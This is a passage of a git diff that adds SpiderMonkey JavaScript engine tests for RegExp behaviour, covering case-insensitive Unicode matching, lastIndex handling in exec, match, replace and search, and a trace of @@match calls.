+ ["\u1E9B", "\u1E60", "\u1E61"],
+ // U+1FBE: GREEK PROSGEGRAMMENI
+ // U+0399: GREEK CAPITAL LETTER IOTA
+ // U+03B9: GREEK SMALL LETTER IOTA
+ ["\u1FBE", "\u0399", "\u03B9"],
+ ];
+
+for (var [code1, upper, code2] of pairs) {
+ assertEq(new RegExp(code1, "i").test(code2), true);
+ assertEq(new RegExp(code1, "i").test(upper), true);
+ assertEq(new RegExp(upper, "i").test(code1), true);
+ assertEq(new RegExp(upper, "i").test(code2), true);
+ assertEq(new RegExp(code2, "i").test(code1), true);
+ assertEq(new RegExp(code2, "i").test(upper), true);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/ignoreCase-non-latin1-to-latin1.js b/js/src/tests/non262/RegExp/ignoreCase-non-latin1-to-latin1.js
new file mode 100644
index 0000000000..b534740454
--- /dev/null
+++ b/js/src/tests/non262/RegExp/ignoreCase-non-latin1-to-latin1.js
@@ -0,0 +1,118 @@
+var BUGNUMBER = 1338779;
+var summary = "Non-Latin1 to Latin1 mapping in ignoreCase.";
+
+assertEq(/(\u039C)/.test("\xB5"), false);
+assertEq(/(\u039C)+/.test("\xB5"), false);
+assertEq(/(\u039C)/i.test("\xB5"), true);
+assertEq(/(\u039C)+/i.test("\xB5"), true);
+assertEq(/(\u039C)/u.test("\xB5"), false);
+assertEq(/(\u039C)+/u.test("\xB5"), false);
+assertEq(/(\u039C)/ui.test("\xB5"), true);
+assertEq(/(\u039C)+/ui.test("\xB5"), true);
+
+assertEq(/(\xB5)/.test("\u039C"), false);
+assertEq(/(\xB5)+/.test("\u039C"), false);
+assertEq(/(\xB5)/i.test("\u039C"), true);
+assertEq(/(\xB5)+/i.test("\u039C"), true);
+assertEq(/(\xB5)/u.test("\u039C"), false);
+assertEq(/(\xB5)+/u.test("\u039C"), false);
+assertEq(/(\xB5)/ui.test("\u039C"), true);
+assertEq(/(\xB5)+/ui.test("\u039C"), true);
+
+
+assertEq(/(\u0178)/.test("\xFF"), false);
+assertEq(/(\u0178)+/.test("\xFF"), false);
+assertEq(/(\u0178)/i.test("\xFF"), true);
+assertEq(/(\u0178)+/i.test("\xFF"), true);
+assertEq(/(\u0178)/u.test("\xFF"), false);
+assertEq(/(\u0178)+/u.test("\xFF"), false);
+assertEq(/(\u0178)/ui.test("\xFF"), true);
+assertEq(/(\u0178)+/ui.test("\xFF"), true);
+
+assertEq(/(\xFF)/.test("\u0178"), false);
+assertEq(/(\xFF)+/.test("\u0178"), false);
+assertEq(/(\xFF)/i.test("\u0178"), true);
+assertEq(/(\xFF)+/i.test("\u0178"), true);
+assertEq(/(\xFF)/u.test("\u0178"), false);
+assertEq(/(\xFF)+/u.test("\u0178"), false);
+assertEq(/(\xFF)/ui.test("\u0178"), true);
+assertEq(/(\xFF)+/ui.test("\u0178"), true);
+
+
+assertEq(/(\u017F)/.test("\x73"), false);
+assertEq(/(\u017F)+/.test("\x73"), false);
+assertEq(/(\u017F)/i.test("\x73"), false);
+assertEq(/(\u017F)+/i.test("\x73"), false);
+assertEq(/(\u017F)/u.test("\x73"), false);
+assertEq(/(\u017F)+/u.test("\x73"), false);
+assertEq(/(\u017F)/iu.test("\x73"), true);
+assertEq(/(\u017F)+/iu.test("\x73"), true);
+
+assertEq(/(\x73)/.test("\u017F"), false);
+assertEq(/(\x73)+/.test("\u017F"), false);
+assertEq(/(\x73)/i.test("\u017F"), false);
+assertEq(/(\x73)+/i.test("\u017F"), false);
+assertEq(/(\x73)/u.test("\u017F"), false);
+assertEq(/(\x73)+/u.test("\u017F"), false);
+assertEq(/(\x73)/iu.test("\u017F"), true);
+assertEq(/(\x73)+/iu.test("\u017F"), true);
+
+
+assertEq(/(\u1E9E)/.test("\xDF"), false);
+assertEq(/(\u1E9E)+/.test("\xDF"), false);
+assertEq(/(\u1E9E)/i.test("\xDF"), false);
+assertEq(/(\u1E9E)+/i.test("\xDF"), false);
+assertEq(/(\u1E9E)/u.test("\xDF"), false);
+assertEq(/(\u1E9E)+/u.test("\xDF"), false);
+assertEq(/(\u1E9E)/iu.test("\xDF"), true);
+assertEq(/(\u1E9E)+/iu.test("\xDF"), true);
+
+assertEq(/(\xDF)/.test("\u1E9E"), false);
+assertEq(/(\xDF)+/.test("\u1E9E"), false);
+assertEq(/(\xDF)/i.test("\u1E9E"), false);
+assertEq(/(\xDF)+/i.test("\u1E9E"), false);
+assertEq(/(\xDF)/u.test("\u1E9E"), false);
+assertEq(/(\xDF)+/u.test("\u1E9E"), false);
+assertEq(/(\xDF)/iu.test("\u1E9E"), true);
+assertEq(/(\xDF)+/iu.test("\u1E9E"), true);
+
+
+assertEq(/(\u212A)/.test("\x6B"), false);
+assertEq(/(\u212A)+/.test("\x6B"), false);
+assertEq(/(\u212A)/i.test("\x6B"), false);
+assertEq(/(\u212A)+/i.test("\x6B"), false);
+assertEq(/(\u212A)/u.test("\x6B"), false);
+assertEq(/(\u212A)+/u.test("\x6B"), false);
+assertEq(/(\u212A)/iu.test("\x6B"), true);
+assertEq(/(\u212A)+/iu.test("\x6B"), true);
+
+assertEq(/(\x6B)/.test("\u212A"), false);
+assertEq(/(\x6B)+/.test("\u212A"), false);
+assertEq(/(\x6B)/i.test("\u212A"), false);
+assertEq(/(\x6B)+/i.test("\u212A"), false);
+assertEq(/(\x6B)/u.test("\u212A"), false);
+assertEq(/(\x6B)+/u.test("\u212A"), false);
+assertEq(/(\x6B)/iu.test("\u212A"), true);
+assertEq(/(\x6B)+/iu.test("\u212A"), true);
+
+
+assertEq(/(\u212B)/.test("\xE5"), false);
+assertEq(/(\u212B)+/.test("\xE5"), false);
+assertEq(/(\u212B)/i.test("\xE5"), false);
+assertEq(/(\u212B)+/i.test("\xE5"), false);
+assertEq(/(\u212B)/u.test("\xE5"), false);
+assertEq(/(\u212B)+/u.test("\xE5"), false);
+assertEq(/(\u212B)/iu.test("\xE5"), true);
+assertEq(/(\u212B)+/iu.test("\xE5"), true);
+
+assertEq(/(\xE5)/.test("\u212B"), false);
+assertEq(/(\xE5)+/.test("\u212B"), false);
+assertEq(/(\xE5)/i.test("\u212B"), false);
+assertEq(/(\xE5)+/i.test("\u212B"), false);
+assertEq(/(\xE5)/u.test("\u212B"), false);
+assertEq(/(\xE5)+/u.test("\u212B"), false);
+assertEq(/(\xE5)/iu.test("\u212B"), true);
+assertEq(/(\xE5)+/iu.test("\u212B"), true);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/instance-property-storage-introspection.js b/js/src/tests/non262/RegExp/instance-property-storage-introspection.js
new file mode 100644
index 0000000000..998d25e2c0
--- /dev/null
+++ b/js/src/tests/non262/RegExp/instance-property-storage-introspection.js
@@ -0,0 +1,128 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 640072;
+var summary =
+ "Represent /a/.{lastIndex,global,source,multiline,sticky,ignoreCase} with " +
+ "plain old data properties";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function checkDataProperty(obj, p, expect, msg)
+{
+ var d = Object.getOwnPropertyDescriptor(obj, p);
+
+ assertEq(d.value, expect.value, msg + ": bad value for " + p);
+ assertEq(d.writable, expect.writable, msg + ": bad writable for " + p);
+ assertEq(d.enumerable, expect.enumerable, msg + ": bad enumerable for " + p);
+ assertEq(d.configurable, expect.configurable, msg + ": bad configurable for " + p);
+
+ // Try redefining the property using its initial values: these should all be
+ // silent no-ops.
+ Object.defineProperty(obj, p, { value: expect.value });
+ Object.defineProperty(obj, p, { writable: expect.writable });
+ Object.defineProperty(obj, p, { enumerable: expect.enumerable });
+ Object.defineProperty(obj, p, { configurable: expect.configurable });
+
+ var d2 = Object.getOwnPropertyDescriptor(obj, p);
+ assertEq(d.value, d2.value, msg + ": value changed on redefinition of " + p + "?");
+ assertEq(d.writable, d2.writable, msg + ": writable changed on redefinition of " + p + "?");
+ assertEq(d.enumerable, d2.enumerable, msg + ": enumerable changed on redefinition of " + p + "?");
+ assertEq(d.configurable, d2.configurable, msg + ": configurable changed on redefinition of " + p + "?");
+}
+
+
+// Check a bunch of "empty" regular expressions first.
+
+var choices = [{ msg: "new RegExp()",
+ get: function() { return new RegExp(); } },
+ { msg: "/(?:)/",
+ get: Function("return /(?:)/;") }];
+
+function checkRegExp(r, msg, lastIndex)
+{
+ var expect;
+
+ expect = { value: lastIndex, enumerable: false, configurable: false, writable: true };
+ checkDataProperty(r, "lastIndex", expect, msg);
+}
+
+checkRegExp(new RegExp(), "new RegExp()", 0);
+checkRegExp(/(?:)/, "/(?:)/", 0);
+checkRegExp(Function("return /(?:)/;")(), 'Function("return /(?:)/;")()', 0);
+
+for (var i = 0; i < choices.length; i++)
+{
+ var choice = choices[i];
+ var msg = choice.msg;
+ var r = choice.get();
+
+ checkRegExp(r, msg, 0);
+}
+
+// Now test less generic regular expressions
+
+checkRegExp(/a/gim, "/a/gim", 0);
+
+var r;
+
+do
+{
+ r = /abcd/mg;
+ checkRegExp(r, "/abcd/mg initially", 0);
+ r.exec("abcdefg");
+ checkRegExp(r, "/abcd/mg step 1", 4);
+ r.exec("abcdabcd");
+ checkRegExp(r, "/abcd/mg step 2", 8);
+ r.exec("abcdabcd");
+ checkRegExp(r, "/abcd/mg end", 0);
+
+ r = /cde/ig;
+ checkRegExp(r, "/cde/ig initially", 0);
+ var obj = r.lastIndex = { valueOf: function() { return 2; } };
+ checkRegExp(r, "/cde/ig after lastIndex", obj);
+ r.exec("aaacdef");
+ checkRegExp(r, "/cde/ig after exec", 6);
+ Object.defineProperty(r, "lastIndex", { value: 3 });
+ checkRegExp(r, "/cde/ig after define 3", 3);
+ Object.defineProperty(r, "lastIndex", { value: obj });
+ checkRegExp(r, "/cde/ig after lastIndex", obj);
+
+
+ // Tricky bits of testing: make sure that redefining lastIndex doesn't change
+ // the slot where the lastIndex property is initially stored, even if
+ // the redefinition also changes writability.
+ r = /a/g;
+ checkRegExp(r, "/a/g initially", 0);
+ Object.defineProperty(r, "lastIndex", { value: 2 });
+ r.exec("aabbbba");
+ checkRegExp(r, "/a/g after first exec", 7);
+ assertEq(r.lastIndex, 7);
+ r.lastIndex = 2;
+ checkRegExp(r, "/a/g after assign", 2);
+ r.exec("aabbbba");
+ assertEq(r.lastIndex, 7); // check in reverse order
+ checkRegExp(r, "/a/g after second exec", 7);
+
+ r = /c/g;
+ r.lastIndex = 2;
+ checkRegExp(r, "/c/g initially", 2);
+ Object.defineProperty(r, "lastIndex", { writable: false });
+ assertEq(Object.getOwnPropertyDescriptor(r, "lastIndex").writable, false);
+ try { r.exec("aabbbba"); } catch (e) { /* swallow error if thrown */ }
+ assertEq(Object.getOwnPropertyDescriptor(r, "lastIndex").writable, false);
+}
+while (Math.random() > 17); // fake loop to discourage RegExp object caching
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/RegExp/lastIndex-exec.js b/js/src/tests/non262/RegExp/lastIndex-exec.js
new file mode 100644
index 0000000000..f42facbe34
--- /dev/null
+++ b/js/src/tests/non262/RegExp/lastIndex-exec.js
@@ -0,0 +1,80 @@
+// RegExp.prototype.exec: Test lastIndex changes for ES2017.
+
+// Test various combinations of:
+// - Pattern matches or doesn't match
+// - Global and/or sticky flag is set.
+// - lastIndex exceeds the input string length
+// - lastIndex is +-0
+const testCases = [
+ { regExp: /a/, lastIndex: 0, input: "a", result: 0 },
+ { regExp: /a/g, lastIndex: 0, input: "a", result: 1 },
+ { regExp: /a/y, lastIndex: 0, input: "a", result: 1 },
+
+ { regExp: /a/, lastIndex: 0, input: "b", result: 0 },
+ { regExp: /a/g, lastIndex: 0, input: "b", result: 0 },
+ { regExp: /a/y, lastIndex: 0, input: "b", result: 0 },
+
+ { regExp: /a/, lastIndex: -0, input: "a", result: -0 },
+ { regExp: /a/g, lastIndex: -0, input: "a", result: 1 },
+ { regExp: /a/y, lastIndex: -0, input: "a", result: 1 },
+
+ { regExp: /a/, lastIndex: -0, input: "b", result: -0 },
+ { regExp: /a/g, lastIndex: -0, input: "b", result: 0 },
+ { regExp: /a/y, lastIndex: -0, input: "b", result: 0 },
+
+ { regExp: /a/, lastIndex: -1, input: "a", result: -1 },
+ { regExp: /a/g, lastIndex: -1, input: "a", result: 1 },
+ { regExp: /a/y, lastIndex: -1, input: "a", result: 1 },
+
+ { regExp: /a/, lastIndex: -1, input: "b", result: -1 },
+ { regExp: /a/g, lastIndex: -1, input: "b", result: 0 },
+ { regExp: /a/y, lastIndex: -1, input: "b", result: 0 },
+
+ { regExp: /a/, lastIndex: 100, input: "a", result: 100 },
+ { regExp: /a/g, lastIndex: 100, input: "a", result: 0 },
+ { regExp: /a/y, lastIndex: 100, input: "a", result: 0 },
+];
+
+// Basic test.
+for (let {regExp, lastIndex, input, result} of testCases) {
+ let re = new RegExp(regExp);
+ re.lastIndex = lastIndex;
+ re.exec(input);
+ assertEq(re.lastIndex, result);
+}
+
+// Test when lastIndex is non-writable.
+for (let {regExp, lastIndex, input} of testCases) {
+ let re = new RegExp(regExp);
+ Object.defineProperty(re, "lastIndex", { value: lastIndex, writable: false });
+ if (re.global || re.sticky) {
+ assertThrowsInstanceOf(() => re.exec(input), TypeError);
+ } else {
+ re.exec(input);
+ }
+ assertEq(re.lastIndex, lastIndex);
+}
+
+// Test when lastIndex is changed to non-writable as a side-effect.
+for (let {regExp, lastIndex, input} of testCases) {
+ let re = new RegExp(regExp);
+ let called = false;
+ re.lastIndex = {
+ valueOf() {
+ assertEq(called, false);
+ called = true;
+ Object.defineProperty(re, "lastIndex", { value: 9000, writable: false });
+ return lastIndex;
+ }
+ };
+ if (re.global || re.sticky) {
+ assertThrowsInstanceOf(() => re.exec(input), TypeError);
+ } else {
+ re.exec(input);
+ }
+ assertEq(re.lastIndex, 9000);
+ assertEq(called, true);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/lastIndex-match-or-replace.js b/js/src/tests/non262/RegExp/lastIndex-match-or-replace.js
new file mode 100644
index 0000000000..b0a8b537ce
--- /dev/null
+++ b/js/src/tests/non262/RegExp/lastIndex-match-or-replace.js
@@ -0,0 +1,122 @@
+// RegExp.prototype[Symbol.match, Symbol.replace]: Test lastIndex changes for ES2017.
+
+// RegExp-like class to test the RegExp method slow paths.
+class DuckRegExp extends RegExp {
+ constructor(pattern, flags) {
+ return Object.create(DuckRegExp.prototype, {
+ regExp: {
+ value: new RegExp(pattern, flags)
+ },
+ lastIndex: {
+ value: 0, writable: true, enumerable: false, configurable: false
+ }
+ });
+ }
+
+ exec(...args) {
+ this.regExp.lastIndex = this.lastIndex;
+ try {
+ return this.regExp.exec(...args);
+ } finally {
+ if (this.global || this.sticky)
+ this.lastIndex = this.regExp.lastIndex;
+ }
+ }
+
+ get source() { return this.regExp.source; }
+
+ get global() { return this.regExp.global; }
+ get ignoreCase() { return this.regExp.ignoreCase; }
+ get multiline() { return this.regExp.multiline; }
+ get sticky() { return this.regExp.sticky; }
+ get unicode() { return this.regExp.unicode; }
+}
+
+// Test various combinations of:
+// - Pattern matches or doesn't match
+// - Global and/or sticky flag is set.
+// - lastIndex exceeds the input string length
+// - lastIndex is +-0
+const testCases = [
+ { regExp: /a/, lastIndex: 0, input: "a", result: 0 },
+ { regExp: /a/g, lastIndex: 0, input: "a", result: 0 },
+ { regExp: /a/y, lastIndex: 0, input: "a", result: 1 },
+
+ { regExp: /a/, lastIndex: 0, input: "b", result: 0 },
+ { regExp: /a/g, lastIndex: 0, input: "b", result: 0 },
+ { regExp: /a/y, lastIndex: 0, input: "b", result: 0 },
+
+ { regExp: /a/, lastIndex: -0, input: "a", result: -0 },
+ { regExp: /a/g, lastIndex: -0, input: "a", result: 0 },
+ { regExp: /a/y, lastIndex: -0, input: "a", result: 1 },
+
+ { regExp: /a/, lastIndex: -0, input: "b", result: -0 },
+ { regExp: /a/g, lastIndex: -0, input: "b", result: 0 },
+ { regExp: /a/y, lastIndex: -0, input: "b", result: 0 },
+
+ { regExp: /a/, lastIndex: -1, input: "a", result: -1 },
+ { regExp: /a/g, lastIndex: -1, input: "a", result: 0 },
+ { regExp: /a/y, lastIndex: -1, input: "a", result: 1 },
+
+ { regExp: /a/, lastIndex: -1, input: "b", result: -1 },
+ { regExp: /a/g, lastIndex: -1, input: "b", result: 0 },
+ { regExp: /a/y, lastIndex: -1, input: "b", result: 0 },
+
+ { regExp: /a/, lastIndex: 100, input: "a", result: 100 },
+ { regExp: /a/g, lastIndex: 100, input: "a", result: 0 },
+ { regExp: /a/y, lastIndex: 100, input: "a", result: 0 },
+];
+
+for (let method of [RegExp.prototype[Symbol.match], RegExp.prototype[Symbol.replace]]) {
+ for (let Constructor of [RegExp, DuckRegExp]) {
+ // Basic test.
+ for (let {regExp, lastIndex, input, result} of testCases) {
+ let re = new Constructor(regExp);
+ re.lastIndex = lastIndex;
+ Reflect.apply(method, re, [input]);
+ assertEq(re.lastIndex, result);
+ }
+
+ // Test when lastIndex is non-writable.
+ for (let {regExp, lastIndex, input} of testCases) {
+ let re = new Constructor(regExp);
+ Object.defineProperty(re, "lastIndex", { value: lastIndex, writable: false });
+ if (re.global || re.sticky) {
+ assertThrowsInstanceOf(() => Reflect.apply(method, re, [input]), TypeError);
+ } else {
+ Reflect.apply(method, re, [input]);
+ }
+ assertEq(re.lastIndex, lastIndex);
+ }
+
+ // Test when lastIndex is changed to non-writable as a side-effect.
+ for (let {regExp, lastIndex, input, result} of testCases) {
+ let re = new Constructor(regExp);
+ let called = false;
+ re.lastIndex = {
+ valueOf() {
+ assertEq(called, false);
+ called = true;
+ Object.defineProperty(re, "lastIndex", { value: 9000, writable: false });
+ return lastIndex;
+ }
+ };
+ if (re.sticky) {
+ assertThrowsInstanceOf(() => Reflect.apply(method, re, [input]), TypeError);
+ assertEq(called, true);
+ assertEq(re.lastIndex, 9000);
+ } else if (re.global) {
+ Reflect.apply(method, re, [input]);
+ assertEq(called, false);
+ assertEq(re.lastIndex, result);
+ } else {
+ Reflect.apply(method, re, [input]);
+ assertEq(called, true);
+ assertEq(re.lastIndex, 9000);
+ }
+ }
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/lastIndex-nonwritable.js b/js/src/tests/non262/RegExp/lastIndex-nonwritable.js
new file mode 100644
index 0000000000..3c867f9538
--- /dev/null
+++ b/js/src/tests/non262/RegExp/lastIndex-nonwritable.js
@@ -0,0 +1,27 @@
+var BUGNUMBER = 1168416;
+var summary = "Regexp.prototype.test/exec shouldn't change lastIndex if not writable.";
+
+print(BUGNUMBER + ": " + summary);
+
+var regex = /0/g;
+Object.freeze(regex);
+var str = "abc000";
+
+var desc = Object.getOwnPropertyDescriptor(regex, "lastIndex");
+assertEq(desc.writable, false);
+assertEq(desc.value, 0);
+
+assertThrowsInstanceOf(() => regex.test(str), TypeError);
+
+desc = Object.getOwnPropertyDescriptor(regex, "lastIndex");
+assertEq(desc.writable, false);
+assertEq(desc.value, 0);
+
+assertThrowsInstanceOf(() => regex.exec(str), TypeError);
+
+desc = Object.getOwnPropertyDescriptor(regex, "lastIndex");
+assertEq(desc.writable, false);
+assertEq(desc.value, 0);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/lastIndex-search.js b/js/src/tests/non262/RegExp/lastIndex-search.js
new file mode 100644
index 0000000000..5953b3a885
--- /dev/null
+++ b/js/src/tests/non262/RegExp/lastIndex-search.js
@@ -0,0 +1,118 @@
+// RegExp.prototype[Symbol.search]: Test lastIndex changes for ES2017.
+
+// RegExp-like class to test the RegExp method slow paths.
+class DuckRegExp extends RegExp {
+ constructor(pattern, flags) {
+ return Object.create(DuckRegExp.prototype, {
+ regExp: {
+ value: new RegExp(pattern, flags)
+ },
+ lastIndex: {
+ value: 0, writable: true, enumerable: false, configurable: false
+ }
+ });
+ }
+
+ exec(...args) {
+ this.regExp.lastIndex = this.lastIndex;
+ try {
+ return this.regExp.exec(...args);
+ } finally {
+ if (this.global || this.sticky)
+ this.lastIndex = this.regExp.lastIndex;
+ }
+ }
+
+ get source() { return this.regExp.source; }
+
+ get global() { return this.regExp.global; }
+ get ignoreCase() { return this.regExp.ignoreCase; }
+ get multiline() { return this.regExp.multiline; }
+ get sticky() { return this.regExp.sticky; }
+ get unicode() { return this.regExp.unicode; }
+}
+
+// Test various combinations of:
+// - Pattern matches or doesn't match
+// - Global and/or sticky flag is set.
+// - lastIndex exceeds the input string length
+// - lastIndex is +-0
+const testCasesNotPositiveZero = [
+ { regExp: /a/, lastIndex: -1, input: "a" },
+ { regExp: /a/g, lastIndex: -1, input: "a" },
+ { regExp: /a/y, lastIndex: -1, input: "a" },
+
+ { regExp: /a/, lastIndex: 100, input: "a" },
+ { regExp: /a/g, lastIndex: 100, input: "a" },
+ { regExp: /a/y, lastIndex: 100, input: "a" },
+
+ { regExp: /a/, lastIndex: -1, input: "b" },
+ { regExp: /a/g, lastIndex: -1, input: "b" },
+ { regExp: /a/y, lastIndex: -1, input: "b" },
+
+ { regExp: /a/, lastIndex: -0, input: "a" },
+ { regExp: /a/g, lastIndex: -0, input: "a" },
+ { regExp: /a/y, lastIndex: -0, input: "a" },
+
+ { regExp: /a/, lastIndex: -0, input: "b" },
+ { regExp: /a/g, lastIndex: -0, input: "b" },
+ { regExp: /a/y, lastIndex: -0, input: "b" },
+];
+
+const testCasesPositiveZero = [
+ { regExp: /a/, lastIndex: 0, input: "a" },
+ { regExp: /a/g, lastIndex: 0, input: "a" },
+ { regExp: /a/y, lastIndex: 0, input: "a" },
+
+ { regExp: /a/, lastIndex: 0, input: "b" },
+ { regExp: /a/g, lastIndex: 0, input: "b" },
+ { regExp: /a/y, lastIndex: 0, input: "b" },
+];
+
+const testCases = [...testCasesNotPositiveZero, ...testCasesPositiveZero];
+
+for (let Constructor of [RegExp, DuckRegExp]) {
+ // Basic test.
+ for (let {regExp, lastIndex, input} of testCases) {
+ let re = new Constructor(regExp);
+ re.lastIndex = lastIndex;
+ re[Symbol.search](input);
+ assertEq(re.lastIndex, lastIndex);
+ }
+
+ // Test when lastIndex is non-writable and not positive zero.
+ for (let {regExp, lastIndex, input} of testCasesNotPositiveZero) {
+ let re = new Constructor(regExp);
+ Object.defineProperty(re, "lastIndex", { value: lastIndex, writable: false });
+ assertThrowsInstanceOf(() => re[Symbol.search](input), TypeError);
+ assertEq(re.lastIndex, lastIndex);
+ }
+
+ // Test when lastIndex is non-writable and positive zero.
+ for (let {regExp, lastIndex, input} of testCasesPositiveZero) {
+ let re = new Constructor(regExp);
+ Object.defineProperty(re, "lastIndex", { value: lastIndex, writable: false });
+ if (re.global || re.sticky) {
+ assertThrowsInstanceOf(() => re[Symbol.search](input), TypeError);
+ } else {
+ re[Symbol.search](input);
+ }
+ assertEq(re.lastIndex, lastIndex);
+ }
+
+ // Test lastIndex isn't converted to a number.
+ for (let {regExp, lastIndex, input} of testCases) {
+ let re = new RegExp(regExp);
+ let badIndex = {
+ valueOf() {
+ assertEq(false, true);
+ }
+ };
+ re.lastIndex = badIndex;
+ re[Symbol.search](input);
+ assertEq(re.lastIndex, badIndex);
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/match-local-tolength-recompilation.js b/js/src/tests/non262/RegExp/match-local-tolength-recompilation.js
new file mode 100644
index 0000000000..9a992f81f4
--- /dev/null
+++ b/js/src/tests/non262/RegExp/match-local-tolength-recompilation.js
@@ -0,0 +1,75 @@
+// Side-effects when calling ToLength(regExp.lastIndex) in
+// RegExp.prototype[@@match] for non-global RegExp can recompile the RegExp.
+
+for (var flag of ["", "y"]) {
+ var regExp = new RegExp("a", flag);
+
+ regExp.lastIndex = {
+ valueOf() {
+ regExp.compile("b");
+ return 0;
+ }
+ };
+
+ var result = regExp[Symbol.match]("b");
+ assertEq(result !== null, true);
+}
+
+// Recompilation modifies flag:
+// Case 1: Adds global flag, validate by checking lastIndex.
+var regExp = new RegExp("a", "");
+regExp.lastIndex = {
+ valueOf() {
+ // |regExp| is now in global mode, RegExpBuiltinExec should update the
+ // lastIndex property to reflect last match.
+ regExp.compile("a", "g");
+ return 0;
+ }
+};
+regExp[Symbol.match]("a");
+assertEq(regExp.lastIndex, 1);
+
+// Case 2: Removes sticky flag with match, validate by checking lastIndex.
+var regExp = new RegExp("a", "y");
+regExp.lastIndex = {
+ valueOf() {
+ // |regExp| is no longer sticky, RegExpBuiltinExec shouldn't modify the
+ // lastIndex property.
+ regExp.compile("a", "");
+ regExp.lastIndex = 9000;
+ return 0;
+ }
+};
+regExp[Symbol.match]("a");
+assertEq(regExp.lastIndex, 9000);
+
+// Case 3.a: Removes sticky flag without match, validate by checking lastIndex.
+var regExp = new RegExp("a", "y");
+regExp.lastIndex = {
+ valueOf() {
+ // |regExp| is no longer sticky, RegExpBuiltinExec shouldn't modify the
+ // lastIndex property.
+ regExp.compile("b", "");
+ regExp.lastIndex = 9001;
+ return 0;
+ }
+};
+regExp[Symbol.match]("a");
+assertEq(regExp.lastIndex, 9001);
+
+// Case 3.b: Removes sticky flag without match, validate by checking lastIndex.
+var regExp = new RegExp("a", "y");
+regExp.lastIndex = {
+ valueOf() {
+ // |regExp| is no longer sticky, RegExpBuiltinExec shouldn't modify the
+ // lastIndex property.
+ regExp.compile("b", "");
+ regExp.lastIndex = 9002;
+ return 10000;
+ }
+};
+regExp[Symbol.match]("a");
+assertEq(regExp.lastIndex, 9002);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/match-this.js b/js/src/tests/non262/RegExp/match-this.js
new file mode 100644
index 0000000000..ee05462f26
--- /dev/null
+++ b/js/src/tests/non262/RegExp/match-this.js
@@ -0,0 +1,12 @@
+var BUGNUMBER = 887016;
+var summary = "RegExp.prototype[@@match] should check this value.";
+
+print(BUGNUMBER + ": " + summary);
+
+for (var v of [null, 1, true, undefined, "", Symbol.iterator]) {
+ assertThrowsInstanceOf(() => RegExp.prototype[Symbol.match].call(v),
+ TypeError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/match-trace.js b/js/src/tests/non262/RegExp/match-trace.js
new file mode 100644
index 0000000000..3216db641d
--- /dev/null
+++ b/js/src/tests/non262/RegExp/match-trace.js
@@ -0,0 +1,147 @@
+var BUGNUMBER = 887016;
+var summary = "Trace RegExp.prototype[@@match] behavior.";
+
+print(BUGNUMBER + ": " + summary);
+
+var n;
+var log;
+var target;
+var global;
+var unicode;
+var logProxy;
+
+var execResult;
+var lastIndexResult;
+var lastIndexExpected;
+
+function P(A) {
+ return new Proxy(A, {
+ get(that, name) {
+ if (logProxy)
+ log += "get:result[" + name + "],";
+ return that[name];
+ }
+ });
+}
+
+var myRegExp = {
+ get global() {
+ log += "get:global,";
+ return global;
+ },
+ get lastIndex() {
+ log += "get:lastIndex,";
+ return lastIndexResult[n];
+ },
+ set lastIndex(v) {
+ log += "set:lastIndex,";
+ assertEq(v, lastIndexExpected[n]);
+ },
+ get unicode() {
+ log += "get:unicode,";
+ return unicode;
+ },
+ get exec() {
+ log += "get:exec,";
+ return function(S) {
+ log += "call:exec,";
+ assertEq(S, target);
+ return execResult[n++];
+ };
+ },
+};
+
+function reset() {
+ n = 0;
+ log = "";
+ target = "abcAbcABC";
+ global = true;
+ unicode = false;
+ logProxy = true;
+}
+
+// Trace global with non-empty match.
+reset();
+execResult = [ P(["abc"]), P(["ABC"]), null ];
+lastIndexResult = [ , , , ];
+lastIndexExpected = [ 0, , , ];
+var ret = RegExp.prototype[Symbol.match].call(myRegExp, target);
+assertEq(JSON.stringify(ret), `["abc","ABC"]`);
+assertEq(log,
+ "get:global," +
+ "get:unicode," +
+ "set:lastIndex," +
+ "get:exec,call:exec,get:result[0]," +
+ "get:exec,call:exec,get:result[0]," +
+ "get:exec,call:exec,");
+
+// Trace global with empty match.
+reset();
+execResult = [ P([""]), P([""]), null ];
+lastIndexResult = [ , 4, 20, ];
+lastIndexExpected = [ 0, 5, 21, ];
+ret = RegExp.prototype[Symbol.match].call(myRegExp, target);
+assertEq(JSON.stringify(ret), `["",""]`);
+assertEq(log,
+ "get:global," +
+ "get:unicode," +
+ "set:lastIndex," +
+ "get:exec,call:exec,get:result[0],get:lastIndex,set:lastIndex," +
+ "get:exec,call:exec,get:result[0],get:lastIndex,set:lastIndex," +
+ "get:exec,call:exec,");
+
+// Trace global and unicode with empty match.
+// 1. not surrogate pair
+// 2. lead surrogate pair
+// 3. trail surrogate pair
+// 4. lead surrogate pair without trail surrogate pair
+// 5. index overflow
+reset();
+unicode = true;
+// 0123 4 5678
+target = "___\uD83D\uDC38___\uD83D";
+execResult = [ P([""]), P([""]), P([""]), P([""]), P([""]), null ];
+lastIndexResult = [ , 2, 3, 4, 8, 9, ];
+lastIndexExpected = [ 0, 3, 5, 5, 9, 10, ];
+ret = RegExp.prototype[Symbol.match].call(myRegExp, target);
+assertEq(JSON.stringify(ret), `["","","","",""]`);
+assertEq(log,
+ "get:global," +
+ "get:unicode," +
+ "set:lastIndex," +
+ "get:exec,call:exec,get:result[0],get:lastIndex,set:lastIndex," +
+ "get:exec,call:exec,get:result[0],get:lastIndex,set:lastIndex," +
+ "get:exec,call:exec,get:result[0],get:lastIndex,set:lastIndex," +
+ "get:exec,call:exec,get:result[0],get:lastIndex,set:lastIndex," +
